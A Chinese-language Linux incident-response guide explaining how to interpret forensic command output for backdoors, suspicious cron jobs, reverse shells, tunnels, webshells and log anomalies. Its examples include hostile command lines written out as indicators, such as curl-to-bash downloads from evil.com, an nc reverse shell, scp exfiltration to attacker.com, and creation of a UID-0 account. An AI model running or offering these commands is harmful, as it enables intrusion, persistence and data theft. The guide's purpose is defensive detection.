Linux 应急响应解读要点指南
February 26, 2026 · View on GitHub
本文档提供各类检查项的详细解读要点和风险判断标准,帮助系统分析命令输出并识别潜在威胁。
📖 配合使用:先用
commands-mapping.md执行命令获取输出,再用本文档进行深度分析。
风险等级说明
| 等级 | 定义 | 响应建议 |
|---|---|---|
| 🔴 高危 | 确认存在入侵痕迹或后门 | 立即隔离主机、深度排查、启动应急响应流程 |
| 🟡 中危 | 存在可疑项需进一步确认 | 深入检查、查看日志、确认是否为业务需要 |
| 🟢 低危/正常 | 未发现明显异常或符合预期 | 持续监控、纳入基线 |
1. 系统信息排查 - 解读要点
IP地址与网络基础
未知网卡或异常公网IP
- 异常表现:
- 出现未知的网络接口名称(非eth0/ens33等常见命名)
- 发现业务不必要的公网IP地址
- 配置了多个公网IP但业务只需一个
- 可能原因:
- 攻击者为持久化或横向移动添加的虚拟网卡
- VPN或隧道工具创建的虚拟接口
- 云环境被意外添加的额外IP
- 进一步检查:
- 查看网卡配置文件
/etc/sysconfig/network-scripts/ifcfg-*或/etc/network/interfaces - 检查是否有隧道工具进程(如
openvpn、wireguard、frp)
- 查看网卡配置文件
默认网关异常
- 异常表现:
- 默认网关IP不在预期网段
- 多个默认路由指向不同网关
- 网关为非预期的公网地址
- 可能危害:
- 流量被转发到攻击者控制的设备(中间人攻击)
- 内网扫描或横向移动流量未受约束
- 验证方法:
- 网关IP是否为该网络的正常路由器地址
- 网络拓扑是否允许该网关路径
- 检查
ip route show静态路由条目
系统版本与虚拟化
内核版本异常
- 异常表现:
- 与基线或同类其他主机版本不一致
- 为非常旧的版本(存在已知漏洞)
- 为异常新的版本但非官方升级
- 风险评估:
- 旧内核可能存在CVE可直接利用
- 异常新版本可能是攻击者替换的包含rootkit的内核
- 验证方法:
- 查询官方安全公告确认漏洞
- 计算内核二进制文件的MD5与官方对比
- 检查
/var/log/yum.log或/var/log/apt/history.log的升级记录
虚拟化环境
- 解读要点:
- 虚拟机/容器环境:看不到物理硬件、部分命令受限是正常的
- 物理机环境:应能看到CPU、内存、磁盘等硬件信息
- 宿主机(KVM/VirtualBox):可能在
/proc/cpuinfo看到hypervisor标记
- 风险点:
- 容器逃逸漏洞(如Dirty Cow、runc漏洞)
- 云主机元数据泄露(如AWS/阿里云元数据服务)
- 建议:
- 定期更新容器运行时(docker/runc/containerd)
- 检查云主机是否正确配置元数据访问限制
用户信息分析
UID=0 的非 root 用户
- 🔴 高危特征:
/etc/passwd中出现除 root 外 UID=0 的用户- 示例:
admin:x:0:0:Administrator:/home/admin:/bin/bash
- 攻击目的:直接获得root权限的持久化账号
- 验证方法:
- 检查
/var/log/secure或/var/log/auth.log中的useradd记录 - 查看该用户的登录历史(
last admin) - 对比基线确认是否为运维新增的合法账号
- 检查
- 处置建议:
- 立即锁定或删除该用户
- 检查该用户的文件和历史操作
- 审查其 sudo 权限配置
重复 UID(克隆用户)
- 异常表现:
/etc/passwd中存在相同 UID 的用户- 示例:
root:x:0:0:root:/root:/bin/bash和test:x:0:0:test:/tmp:/bin/nologin
- 攻击手法:克隆 root 账号用于掩盖行为
- 发现方法:
cut -d: -f3 /etc/passwd | sort | uniq -d输出重复 UID
- 处置建议:立即删除克隆账号,并检查日志中的用户操作记录
非系统用户异常(UID >= 1000)
- 正常情况:普通业务用户、运维账号
- 可疑表现:
- 大量 UID=1000+ 的用户且无业务需要
- 用户名为随机字符串(如
a1b2c3、xyz789) - 家目录在
/tmp、/root或异常路径 - Shell 为空或指向异常脚本
- 进一步检查:
- 查看用户创建时间和操作历史
- 检查是否属于异常用户组
- 处置建议:
- 确认是否为业务需要的账号
- 不需要的及时清理
空口令用户
- 🔴 高危特征:
/etc/shadow中密码字段为空(第二字段为空)- 示例:
test1::18672:0:99999:7:::
- 风险:可直接无密码登录(取决于 PAM/SSH 配置)
- 验证攻击是否成功:
- 检查
sshd_config中PermitEmptyPasswords设置 - 检查
pam.d配置是否允许空口令 - 查看
/var/log/secure中该用户的登录尝试
- 检查
- 处置建议:
- 立即为空口令用户设置强密码
- 检查该用户的登录历史和操作记录
口令未加密(老旧系统)
- 异常表现:
/etc/passwd中密码字段不是x- 示例:
user1:\$1$test$hash123:1001:1001::/home/user1:/bin/bash
- 示例:
- 说明:现代系统应使用
x并在/etc/shadow存储哈希 - 风险:passwd 文件通常可读,口令哈希可能被离线破解
- 处置建议:升级系统或配置为使用 shadow 文件
特权用户组异常成员
- 常见特权组:
sudo(Debian/Ubuntu系)wheel(CentOS/RHEL系)
- 异常表现:
- 特权组中出现意外的新成员
- 示例:
sudo:x:27:user1,unknown_user
- 验证方法:
- 对比基线确认成员是否为运维新增
- 检查该用户的 sudo 权限配置 (
sudo -l)
- 处置建议:
- 移除不在基线中的成员
- 审查其 sudo 操作日志(
/var/log/secure或/var/log/sudo.log)
计划任务分析
可疑定时任务
- 🔴 High-risk 关键词:
wget/curl+ 下载URL(特别是http://或未知域名)bash/sh/python执行脚本(特别是/tmp下)base64编码命令(混淆痕迹)chmod +x后执行(隐藏可执行文件)- 每5分钟或更频繁的下载/执行行为
- 示例可疑任务:
*/5 * * * * curl -s http://malicious.com/shell.sh | bash 0 */2 * * * python /tmp/.hidden.py @reboot base64 -d /etc/.hidden.b64 | sh - 正常业务任务:
- 日志轮转(logrotate)
- 数据库备份(mysqldump - 备份路径应在标准备份目录)
- 监控脚本(在可信路径如
/opt/monitoring/) - 定时清理任务(删除
/tmp旧文件)
- 验证方法:
- 查看脚本内容(
cat /path/to/script.sh) - 检查脚本修改时间(
ls -l /path/to/script.sh) - 查看执行日志(
/var/log/cron)
- 查看脚本内容(
- 处置建议:
- 立即禁用可疑任务(注释掉或删除)
- 检查任务脚本内容和其他持久化点
- 根据URL/IP追踪攻击者C2服务器
历史命令分析
脚本下载行为
- 可疑模式:
wget http://...或curl -O http://...- 下载域名可疑(短URL/IP地址、非官方域名)
- 下载到
/tmp、/dev/shm、/var/tmp - 下载后立即执行(
wget ... | bash或bash script.sh)
- 示例:
wget http://192.168.1.100/s.sh -O /tmp/.x curl -s https://bit.ly/evil | bash wget http://pwned.sh -O /tmp/maintenance; chmod +x /tmp/maintenance; /tmp/maintenance - 验证攻击是否执行:
- 检查
/tmp或dev/shm路径是否匹配 - 查看下载URL的域名/IP是否恶意
- 结合登录IP确认是否为运维人员操作
- 检查
- 处置建议:
- 检查下载后的脚本文件内容和功能
- 隔离该URL/IP(添加到防火墙黑名单)
- 深度排查下载脚本执行后的系统变化
文件传输行为
- 可疑表现:
scp、sftp、tftp、rsync传输文件到未知IP- 内网横向移动迹象(内网IP)
- 大量文件传输(可能是数据窃取)
- 示例:
scp /var/www/database.sql root@attacker.com:/tmp/ rsync -avz /data/ 192.168.1.100:/incoming/ tftp -c get script.sh 10.0.0.5 - 验证方法:
- 查看时间戳确认传输时间是否在攻击窗口
- 检查传输的文件内容和敏感度
- 结合网络日志确认对端IP归属
- 处置建议:
- 如涉及敏感数据泄露,通知受影响方并修改密钥
- 修改被攻击账号密码
- 审查对端IP是否存在其他攻击迹象
账号操作行为
- 可疑操作:
useradd、usermod添加UID=0账号useradd添加随机用户名用户passwd为新用户设置密码或重置已有密码groupadd、usermod将用户加入特权组(sudo/wheel)
- 示例:
useradd -u 0 -o test useradd -m -s /bin/bash xyz789 echo "user1:password" | chpasswd usermod -aG sudo attacker - 验证方法:
- 结合
/etc/passwd和/etc/group确认是否创建成功 - 查看操作时间是否与登录时间匹配
- 检查日志确认操作者身份(IP)
- 结合
- 处置建议:
- 删除非法添加的账号
- 重置被修改密码账号的密码
- 将异常成员移出特权组
黑客命令行
- ⚠️ 典型工具特征:
- 隧道工具:
nc/netcat、ncat、socat、frp、ngrok、proxychains - SSH 转发:
ssh -L(本地转发)、ssh -R(远程转发)、ssh -D(动态SOCKS) - 扫描工具:
nmap、masscan、nikto - 攻击框架:
msfconsole(Metasploit)、sqlmap
- 隧道工具:
- 示例:
nc -e /bin/bash 10.0.0.1 4444 socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 ssh -fN -R 8080:localhost:22 user@attacker.com nmap -sV -p- 192.168.1.0/24 - 验证是否持续运行:
- 检查对应进程是否仍存在(
ps -ef | grep ...) - 查看监听端口(
ss -lntp) - 检查网络连接(
ss -antp)
- 检查对应进程是否仍存在(
- 处置建议:
- 杀掉可疑进程
- 检查对应的二进制文件位置和来源
- 深度检查是否有其他入口或持久化点
清痕与持久化命令
- 可疑命令:
chmod 777/chattr -i- 移除文件保护iptables -F/firewall-cmd --reload- 禁用防火墙setenforce 0- 关闭SELinuxcrontab -- 添加定时任务systemctl enable/disable- 启用/禁用服务
- 示例:
chmod 777 /etc/passwd chattr -i /etc/shadow setenforce 0 crontab -e systemctl enable backdoor.service - 进一步检查:
- 验证对应配置/状态是否确实被更改
- 检查更改时间是否在攻击窗口
- 处置建议:
- 恢复配置文件为安全状态
- 重新启用安全策略
- 审查持久化点的其他手段
2. 网络连接排查 - 解读要点
ARP表异常
MAC地址频繁变化
- 异常表现:
- 同一IP对应不同MAC地址
- ARP表中有大量
FAILED或INCOMPLETE条目
- 可能原因:
- ARP欺骗攻击(中间人攻击)
- 网络中存在IP冲突
- 虚拟机/容器频繁启动或迁移
- 验证方法:
- 对比其他主机的ARP表
- 检查网络拓扑是否有冗余/负载均衡
- 使用
arping验证MAC地址真实性
- 处置建议:
- 在交换机配置静态ARP绑定(如支持)
- 启用端口安全(Port Security)
- 检查是否有IP冲突设备
网关MAC异常
- 🟡 中危特征:
- 网关IP的MAC地址与基线不符
- 多个不同的网关MAC
- 风险:流量被转发到错误设备
- 验证:
ping网关IP后查看ARP表- 登录网关设备查看是否真实
- 处置建议:
- 立即隔离主机,防止流量泄露
- 排查网络设备或中间人攻击隐患
网络连接异常
外联到陌生公网IP
- 可疑特征:
- 连接到非业务预期的公网IP
- 连接境外IP(业务不需要境外访问)
- 连接到高危端口(如4444、6666、常用的C2端口)
- 连接到短URL服务IP(bit.ly等)
- ⚠️ 典型可疑端口:
- 4444、5555 - 常用反弹shell端口
- 6666-6699 - 常用挖矿/木马端口
- 8080、8443 - 可疑HTTP/HTTPS反向代理
- 3389 - RDP(如非业务需要)
- 22 - SSH外连(如非管理员操作)
- 验证方法:
- 使用
whois或nslookup查询IP归属 - 检查对应的进程和命令行(
ss -antp+ps -ef) - 结合日志确认是否为合法维护访问
- 使用
- 处置建议:
- 终止可疑连接(
kill对应进程) - 防火墙封禁该IP
- 深度检查对应进程
- 终止可疑连接(
长连接异常
- 可疑特征:
- ESTAB状态持续超过24小时
- 同一进程有多个外连连接
- 连接数据量异常(过大或持续的固定流量)
- 可能原因:
- C2通信保持(心跳包)
- 数据持续外泄
- 挖矿/恶意程序的守护进程连接
- 验证方法:
- 查看连接建立时间(与攻击时间线对比)
- 检查对应进程是否存在异常
- 处置建议:
- 终止长连接并监控是否会重新建立
- 分析流量内容(如有深度包检测)
混杂模式(PROMISC)
- 异常表现:
- 网卡flags包含
PROMISC - 通过
ip link命令看到
- 网卡flags包含
- 可能原因:
- 恶意:嗅探流量窃取敏感信息
- 正常:合法抓包工具(tcpdump、wireshark)使用
- 正常:虚拟化环境的某些网络配置
- 验证方法:
- 检查是否有抓包工具进程(
ps -ef | grep tcpdump) - 查看网络连接是否有明显流量窃取迹象
- 检查虚拟化环境是否需要混杂模式
- 检查是否有抓包工具进程(
- 处置建议:
- 非业务需要时关闭混杂模式
- 如果是虚拟化正常配置,记录基线
端口监听异常
高危端口监听
- 🔴 高危端口(详见
checkrules/dangerstcpports.txt):- 4444、5555 - 反弹shell
- 6666、12345、32768 - 木马常见端口
- 5900、3389 - VNC/RDP(内网横向移动风险)
- 8080、8090 - Webshell后门
- 验证方法:
- 使用
ss -lntp查看监听进程 - 查看进程命令行和可执行文件路径
- 检查是否为业务所需服务
- 使用
- 处置建议:
- 非业务需要时立即终止监听进程
- 防火墙封禁对应端口
0.0.0.0/:全端口监听
- 风险:对外暴露服务,可能被远程利用
- 验证:
- 确认是否为业务需要对外监听
- 检查是否为默认配置未限定监听地址
- 如内网服务,应仅监听内网IP(127.0.0.1/内网IP)
- 处置建议:
- 限制监听地址为内网/本地
- 如需对外,确保服务安全配置(认证、防火墙)
DNS配置异常
陌生DNS服务器
- 异常表现:
/etc/resolv.conf中配置了非官方/非运营商的DNS- DNS IP在可疑网段(如境外IP或已知恶意IP段)
- 风险:DNS劫持、投毒、记录查询行为
- 验证方法:
- 使用
whois查询DNS归属 - 测试解析是否正常(
nslookup google.com)
- 使用
- 处置建议:
- 恢复为可信DNS(8.8.8.8、运营商DNS等)
- 深度检查是否有DNS投毒行为
hosts文件异常
- 异常表现:
/etc/hosts中对常见域名指向了私有IP- 恶意覆盖官方域名(如
mirrors.kernel.org指向恶意IP)
- 示例:
192.168.1.100 mirrors.aliyun.com 10.0.0.1 kernel.org - 风险:
- 软件更新源被劫持
- 将流量导向恶意服务器
- 处置建议:
- 清理
hosts文件中的恶意条目 - 对比基线确认哪些条目是合法的
- 清理
3. 进程排查 - 解读要点
基础进程分析
可疑进程名
- ⚠️ 典型可疑进程名:
- 伪装系统进程:
systemdd(多一个d)、initd、dbusd - 随机名进程:
x8293、a1b2c3、[kworker]/1234 - 隐藏进程:进程名包含空格或不可见字符
- 挖矿特征:miner、xmrig、cpuminer
- 反向shell:bash/sh/python -c '...' 连接到外网
- 伪装系统进程:
- 发现方法:
ps aux查看进程列表- 关注异常用户(非root的root用户运行?)
- 关注异常CPU/内存占用(持续100%?)
- 进一步检查:
- 查看进程命令行完整内容(
cat /proc/PID/cmdline) - 查看进程工作目录(
ls -l /proc/PID/cwd) - 查看进程可执行文件路径(
ls -l /proc/PID/exe) - 计算可执行文件MD5与基线对比
- 查看进程命令行完整内容(
- 处置建议:
- 终止可疑进程(
kill -9 PID) - 删除可执行文件
- 检查进程的父进程和启动方式
- 终止可疑进程(
异常进程启动时间
- 可疑特征:
- 在攻击时间窗口启动的进程
- 异常早或异常晚的启动时间(与系统启动时间不匹配)
- 启动时间与其他事件的时间线一致(如某可疑命令执行后启动)
- 验证方法:
- 对比启动时间与日志时间线
- 查看进程的父进程(
ps -efPPID) - 检查进程的启动方式(systemd?cron?手工启动?父进程?)
- 处置建议:
- 终止进程并检查其父进程
- 检查启动方式的持久化点
高级进程检测
孤儿进程(PPID=1)
- 正常情况:
- 系统守护进程(sshd、cron等)
- legitimate deamon(如nginx、apache)
- 可疑情况:
- 用户进程变成孤儿(父进程被杀)
- 随机名称的孤儿进程
- 可疑命名(如
[kworker]伪装但工作目录异常)
- 进一步检查:
- 查看进程当前状态和资源占用
- 检查进程FD和打开的文件
- 查看进程环境变量
- 处置建议:
- 如确认恶意,终止进程
- 查找原始父进程和启动位置
网络连接-进程映射异常
- 异常表现:
- 外联到陌生IP,进程名可疑
- 进程可执行文件在
/tmp、/dev/shm、/var/tmp - 多个连接指向同一可疑IP
- 反弹shell特征(bash/sh/python连接到外网4444端口)
- 示例:
ESTAB 192.168.1.10:54321 -> 1.2.3.4:4444 users:(("bash",pid=1234)) ESTAB 192.168.1.10:54322 -> 1.2.3.4:8088 users:(("/tmp/miner",pid=5678)) - 验证方法:
- 根据PID查找进程详情
- 计算可执行文件MD5,查询VirusTotal
- 检查进程父进程和启动时间
- 处置建议:
- 立即终止进程并删除二进制
- 检查其父进程和启动方式
- 防火墙封禁外联IP
进程内存映射异常
- 异常表现:
- 映射到
/tmp、/dev/shm的可执行段(r-xp) - 匿名可执行段(无pathname)
- 映射到删除的文件(
(deleted))
- 映射到
- 示例危险内存映射:
7ffb8b600000-7ffb8b610000 r-xp 00000000 00:00 0 [ 匿名可执行段 ] 7f8a2a000000-7f8a2a010000 r-xp 00000000 08:01 12345 /tmp/.hidden (deleted) - 进一步检查:
cat /proc/PID/maps查看完整映射pmap -x PID查看详细的内存使用- 检查对应文件内容(如果未删除)
- 处置建议:
- 终止进程
- 如为删除文件,检查回收站或磁盘镜像
进程环境变量异常
- 🔴 高危环境变量:
LD_PRELOAD- 劫持动态链接库- 异常
PATH- 优先执行恶意二进制 http_proxy/https_proxy- 流量代理到可疑地址HISTFILE=/dev/null- 禁用历史命令记录
- 示例:
LD_PRELOAD=/tmp/.lib.so PATH=/tmp:$PATH http_proxy=http://192.168.1.100:8080 HISTFILE=/dev/null - 进一步检查:
- 查看 LD_PRELOAD 指向的so库内容
- 检查 PATH 中是否有可疑路径
- 验证代理服务器是否为内网或恶意IP
- 处置建议:
- 清理恶意环境变量
- 检查对应的库文件和二进制
- 追踪环境变量设置来源(启动脚本、父进程)
系统调用表异常
- 异常表现:
/proc/kallsyms中sys_call_table符号消失或不可读
- 可能原因:
- Rootkit 修改系统调用表以隐藏行为
- 内核被替换
- 验证方法:
- 使用
rkhunter、chkrootkit等工具扫描 - 检查内核二进制文件的MD5
- 对比其他正常主机的系统调用表
- 使用
- 处置建议:
- 🔴 高危:建议立即重新部署或重新安装系统
- 如无法重装,尝试使用LiveCD分析磁盘镜像
4. 文件排查 - 解读要点
系统服务异常
可疑服务名称
- 可疑特征:
- 服务名伪装系统服务(如
systemdd、initd)但启动路径可疑 - 随机串服务名(如
x8293.service) - 服务名包含隐藏字符/空格
- 服务 ExecStart 指向
/tmp、/dev/shm或非标准路径
- 服务名伪装系统服务(如
- 示例:
[Unit] Description=System daemon [Service] ExecStart=/tmp/.hidden/evil.sh - 验证方法:
- 查看服务完整配置(
systemctl cat <service>) - 检查服务状态和日志(
systemctl status <service>) - 计算启动二进制文件的MD5
- 查看服务完整配置(
- 处置建议:
- 立即禁用可疑服务(
systemctl disable <service>) - 删除服务配置文件和可执行文件
- 检查是否有其他持久化点
- 立即禁用可疑服务(
自启动异常服务
- 异常表现:
- 新增的enabled服务不在基线中
- 服务文件时间戳异常(修改时间为攻击窗口)
- 服务文件位于非标准路径(
/etc/systemd/system/、/run/systemd/system/)
- 验证方法:
- 对比服务列表与基线(
systemctl list-unit-files --type=service | grep enabled) - 查看服务文件修改时间
- 检查服务配置内容
- 对比服务列表与基线(
- 处置建议:
- 禁用新异常服务
- 检查服务历史日志和执行记录
SSH配置异常
authorized_keys 新增密钥
- 🔴 高危特征:
/root/.ssh/authorized_keys或用户authorized_keys出现新密钥- 新密钥的时间戳在攻击窗口
- 风险:持久的登录后门
- 验证方法:
- 对比基线确认新密钥指纹
- 查看该密钥的登录历史(
last -i) - 检查
/var/log/secure中密钥使用记录
- 处置建议:
- 移除异常密钥
- 重置相关账号密码
- 审查密钥使用历史和操作记录
sshd_config 不安全配置
- ⚠️ 风险配置项:
PermitEmptyPasswords yes- 允许空口令PermitRootLogin yes- 允许root远程登录Port使用非标准端口(如2222,可能用于隐藏后门)ClientAliveInterval设置过大,延长会话时间MaxAuthTries设置过大,便于爆破
- 验证方法:
- 查看配置是否为基线设置
- 检查配置文件修改时间
- 处置建议:
- 恢复为安全配置
- 设置复杂密码或禁用密码登录
- 如业务必需 root 登录,使用密钥认证和白名单
敏感文件权限异常
/etc/shadow 权限宽松
- 异常表现:
/etc/shadow权限不是000/etc/passwd权限不是644- 文件属性被修改为
chattr -i(移除immutable保护)
- 风险:
- 普通用户可读取密码哈希
- 非root账号可修改密码文件
- 进一步检查:
- 检查是否有新增的UID=0或空口令账号
- 查看敏感文件的修改时间和历史
- 处置建议:
- 恢复文件权限和属性
- 检查文件内容是否被篡改
SUID/SGID 文件异常
- 🔴 高危特征:
- 在基线中不存在的SUID/SGID文件
/tmp、/dev/shm、/var/tmp下的SUID/SGID可执行文件
- 常见提权路径:
vim、nano、less等编辑器启用了SUID(可提权)- 自定义脚本启用了SUID
- 系统二进制被替换(如
/bin/bashSUID)
- 验证方法:
- 对比SUID文件列表与基线
- 检查可疑SUID文件的MD5
- 处置建议:
- 移除异常的SUID/SGID权限(
chmod -s /path/to/file) - 检查文件是否被替换(MD5对比)
- 如为必要SUID文件,确保其在基线中
- 移除异常的SUID/SGID权限(
24小时内文件变动
异常文件变动
- ⚠️ 可疑文件特征:
/tmp、/dev/shm下出现可执行文件- 系统二进制文件被修改(
/usr/bin/*、/usr/sbin/*) - 配置文件被修改(
/etc/passwd、/etc/shadow、/etc/ssh/sshd_config) /home、/root下出现隐藏文件名且内容可疑
- 示例:
/tmp/.x - 可执行、24小时内创建 /root/.hidden.sh - 24小时内修改 /usr/bin/ls - 被修改但未升级系统 - 验证方法:
- 检查文件内容和MD5
- 对比基线确认是否为合法修改
- 查看文件所有者和修改者信息
- 处置建议:
- 删除恶意文件
- 恢复被篡改的系统文件(从备份或官方源)
- 深度检查修改原因和范围
5. 日志分析 - 解读要点
登录日志异常
SSH爆破特征
- 异常表现:
- 短时间内大量
Failed password for invalid user/root - 同一IP反复尝试不同密码/用户名
- 暴力尝试后出现
Accepted password for user(成功登录)
- 短时间内大量
- 示例:
Jan 15 10:00:00 sshd[1234]: Failed password for root from 192.168.1.100 port 12345 ssh2 Jan 15 10:00:05 sshd[1234]: Failed password for admin from 192.168.1.100 port 12345 ssh2 Jan 15 10:01:30 sshd[1235]: Accepted password for root from 192.168.1.100 port 12345 - 验证方法:
- 统计失败次数和来源IP分布
- 检查爆破后是否成功登录
- 查看成功登录后的操作历史
- 处置建议:
- 防火墙封禁爆破IP
- 如爆破后成功登录,按入侵事件处理
- 检查该IP是否在其他主机上爆破
异地登录
- 异常表现:
- 同一账号从不同地理位置的IP登录
- 短时间内从两处IP登录(同一账号)
- 登录来源IP不在运维白名单
- 验证方法:
- 使用
whois查询IP地理位置 - 确认是否为合法的远程维护操作
- 使用
- 处置建议:
- 立即终止可疑会话
- 修改账号密码
- 启用MFA/SSH密钥+白名单
新增用户日志
- 异常表现:
New user: user1或useradd日志- 新增UID=0用户
- 随机用户名的新增记录
- 验证方法:
- 检查新增用户是否仍存在
- 查看用户的登录历史
- 检查用户的sudo权限
- 处置建议:
- 删除异常新增用户
- 检查其操作历史
计划任务日志异常
可疑定时任务执行
- 异常表现:
CRON[...] (user) CMD ( curl http://... | bash )- 频繁执行的网络下载/执行任务
- 执行脚本在
/tmp、/dev/shm
- 示例:
Jan 15 12:00:00 CRON[5678]: (root) CMD ( curl -s http://evil.com/shell.sh | bash ) - 验证方法:
- 查看脚本文件内容
- 检查任务执行结果
- 查看任务创建者(检查cron文件修改历史)
- 处置建议:
- 立即删除/禁用可疑任务
- 检查创建时间和创建者
- 深度检查脚本执行的后果
包管理日志异常
可疑软件安装/卸载
- 异常表现:
- 安装了攻击工具(nmap、netcat、tcpdump等)
- 卸载了安全工具(iptables、firewalld、auditd)
- 系统升级/安装在攻击窗口,但不是日常维护时间
- 示例:
Jan 15 15:30:00yum[1234]: Installed: nmap-2:7.80-1.x86_64 Jan 15 15:35:00yum[5678]: Erased: firewalld-0.8.0-4.el7.noarch - 验证方法:
- 确认安装/卸载是否为运维操作
- 检查工具是否仍存在
- 检查操作者IP(结合secure日志)
- 处置建议:
- 恢复被卸载的安全工具
- 移除攻击工具(如非业务需要)
- 检查工具是否被攻击者使用
6. 后门排查 - 解读要点
LD_PRELOAD劫持
检测方法
- 检查点:
/etc/ld.so.preload文件内容- 进程环境变量
LD_PRELOAD值
- 异常表现:
- 文件指向
/tmp、/dev/shm或非标准路径的.so库 - 库文件修改时间在攻击窗口
- 文件指向
- 示例:
/etc/ld.so.preload: /tmp/.libevil.so LD_PRELOAD=/tmp/.libevil.so - 进一步检查:
- 使用
ls -l查看库文件详细信息和权限 - 使用
ldd <binary>查看二进制依赖的库 - 反编译或分析so库内容
- 使用
- 处置建议:
- 清空
/etc/ld.so.preload - 清除进程的
LD_PRELOAD环境变量(需重启进程) - 删除恶意so库
- 确认已被劫持的进程和系统命令
- 清空
SSH公钥后门
检测方法
- 检查点:
/root/.ssh/authorized_keys- 用户目录
~/.ssh/authorized_keys
- 异常特征:
- 新增密钥的comment字段可疑(如
user@attacker) - 密钥指纹在攻击时间前后出现
- 新增密钥的comment字段可疑(如
- 验证方法:
- 对比基线确认新密钥
- 使用
ssh-keygen -lf <pubkey>查看指纹 - 查看该密钥的登录历史(
last -i)
- 处置建议:
- 移除异常密钥
- 重置相关账号密码
- 审查密钥使用历史
7. 隧道检测 - 解读要点
SSH隧道特征
同一PID的多个sshd连接
- 异常表现:
- 同一sshd PID有多个外联连接
- 示例:PID=1234 的sshd进程同时连接到
1.2.3.4:8080、1.2.3.4:8081
- 可能用途:
- 内网横向移动的多级跳板
- 反向隧道持久化
- 进一步检查:
- 查看该sshd进程的启动参数(
sshd -T或ps -ef) - 检查用户 authorized_keys 是否有
command=等选项 - 查看
/etc/ssh/sshd_config是否允许端口转发
- 查看该sshd进程的启动参数(
- 处置建议:
- 终止异常sshd连接
- 限制端口转发(
AllowTcpForwarding no) - 禁用异常密钥
SSH转发参数
- ⚠️ 转发类型:
-L本地转发:ssh -L 8080:192.168.1.100:88 user@tunnel.com-R远程转发:ssh -R 8080:localhost:22 user@tunnel.com(反向shell)-D动态SOCKS代理:ssh -D 1080 proxy.com
- 异常表现:
-R转发到外网(常见C2持久化)- 转发到内网敏感端口(如3389、3306)
- 使用SSH协议2.0以下的版本
- 验证方法:
- 查看进程命令行确认转发参数
- 检查对应的网络连接
- 检查连接对端IP归属
- 处置建议:
- 终止SSH转发进程
- 禁用端口转发配置
- 防火墙封禁对端IP
其他隧道工具
常见隧道工具进程
- 检测关键词:
iodine- DNS隧道dnscat- DNS隧道C2chisel- HTTP隧道frp、ngrok- 反向代理隧道
- 验证方法:
- 查看进程命令行确认工具类型
- 查看相关配置文件
- 检查相关网络连接和端口
- 处置建议:
- 终止工具进程
- 删除二进制文件
- 检查其配置和持久化方式
8-12. 专项排查解读
WebShell检测
- ⚠️ 危险函数特征:
eval()、assert()- 执行任意代码system()、passthru()、exec()- 执行系统命令base64_decode()、gzinflate()- 解码混淆内容file_get_contents()、curl_exec()- 外联C2
- 验证方法:
- 查看文件内容和混淆方式
- 检查文件修改时间和创建者
- 结合访问日志查看是否被触发
- 处置建议:
- 删除WebShell文件
- 检查网站访问日志确认访问者
- 检查是否有其他WebShell
- 修复上传、文件包含等漏洞
病毒/恶意软件检测
- 异常软件包:
- 未授权安装工具(nmap、nc等)
- 未知包名(非官方源)
- 异常版本的系统包
- 验证方法:
- 查看包所属(
rpm -qf、dpkg -S) - 查看包安装时间(
rpm -q --last) - 计算二进制文件MD5与官方对比
- 查看包所属(
- 处置建议:
- 卸载异常包
- 重新安装被篡改的系统包
内存异常占用
- 可疑特征:
- 某进程持续占用大量CPU/内存
- 进程名可疑或随机串
- 进程在
/tmp或/dev/shm
- 进一步检查:
- 查看进程命令行和可执行文件
- 检查网络连接
- 检查进程环境变量和FD
- 处置建议:
- 终止可疑进程
- 深度检查并清理
13-16. 其他与基线排查
Kubernetes凭据泄露
- 🔴 High-risk:
/var/lib/kubeconfig、/root/.kube/config存在/etc/kubernetes/admin.conf可能被滥用
- 风险:
- 获取集群管理员权限
- 横向移动到所有Pod/Node
- 处置建议:
- 立即撤销泄露的凭据
- 重新签发证书(
kubeadm init phase certs) - 实施RBAC最小权限和命名空间隔离
基线检查异常
- 核心关注点:
- 账号基线:UID=0用户、特权组成员、密码策略
- 认证基线:SSH配置、grub密码、远程登录限制
- 网络基线:防火墙规则、SELinux策略
- 权限基线:关键文件权限、SUID/SGID文件
- 验证方法:
- 对比当前配置与基线
- 检查文件修改历史
- 处置建议:
- 恢复为基线配置
- 分析变更原因和范围
综合分析方法
时间线构建
-
确定攻击时间窗口:
- 查看首次可疑事件时间
- 查看爆破成功时间
- 查看文件修改时间
-
交叉验证事件:
- 登录时间 ↔ 命令执行时间 ↔ 文件修改时间
- 包安装时间 ↔ 服务启动时间 ↔ 网络连接建立时间
-
确定攻击路径:
- 入口 → 横向 → 持久化 → 行为 → 清痕
风险评估矩阵
| 发现内容 | 可疑程度 | 确认难度 | 综合风险等级 |
|---|---|---|---|
| UID=0非root用户 | 🔴 极高 | 🔴 已确认 | 🔴 高危 |
| 空口令用户 | 🔴 极高 | 🟡 需验证PAM | 🔴 高危 |
| SSH爆破+成功登录 | 🔴 极高 | 🔴 已确认 | 🔴 高危 |
| /tmp下SUID文件 | 🔴 极高 | 🟡 需验证MD5 | 🔴 高危 |
| LD_PRELOAD劫持 | 🔴 极高 | 🔴 已确认 | 🔴 高危 |
| 外联陌生IP | 🟡 中高 | 🟡 需验证归属 | 🟡 中危 |
| SSH公钥新增 | 🟡 中高 | 🟡 需验证指纹 | 🟡 中危 |
| 定时任务可疑 | 🟡 中高 | 🟡 需验证脚本 | 🟡 中危 |
| 新增普通用户 | 🟢 低 | 🟢 需验证业务 | 🟢 低危 |
响 应 建议
立即响应(针对高危发现)
- 隔离主机:断开网络或限制外联
- 终止恶意进程:杀掉可疑进程并删除二进制
- 删除后门:清理持久化点(authorized_keys、cron、systemd服务)
- 阻止访问:防火墙封禁相关IP、端口
- 启动应急响应:通知相关团队,记录事件
深度排查(针对中危发现)
- 进一步验证:使用专业工具扫描(rkhunter、chkrootkit)
- 检查日志:深入分析相关日志
- 范围确认:检查是否有其他主机被影响
- 业务评估:确认是否为合法运维操作
持续监控(针对低危或清理后)
- 建立基线:记录当前正常状态用于对比
- 监控告警:配置规则对类似行为告警
- 定期巡检:定期执行排查脚本
- 审计日志:持续监控关键日志
附录:常用外部资源
恶意IP/域名查询
- VirusTotal - https://www.virustotal.com/
- AbuseIPDB - https://www.abuseipdb.com/
- ThreatConnect - https://threatconnect.com/
文件哈希查询
- VirusTotal - 上传/搜索MD5/SHA256
- Hybrid Analysis - https://www.hybrid-analysis.com/
CVE漏洞查询
- NVD - https://nvd.nist.gov/
- MITRE CVE - https://cve.mitre.org/
Rootkit检测工具
- rkhunter - http://rkhunter.sourceforge.net/
- chkrootkit - http://www.chkrootkit.org/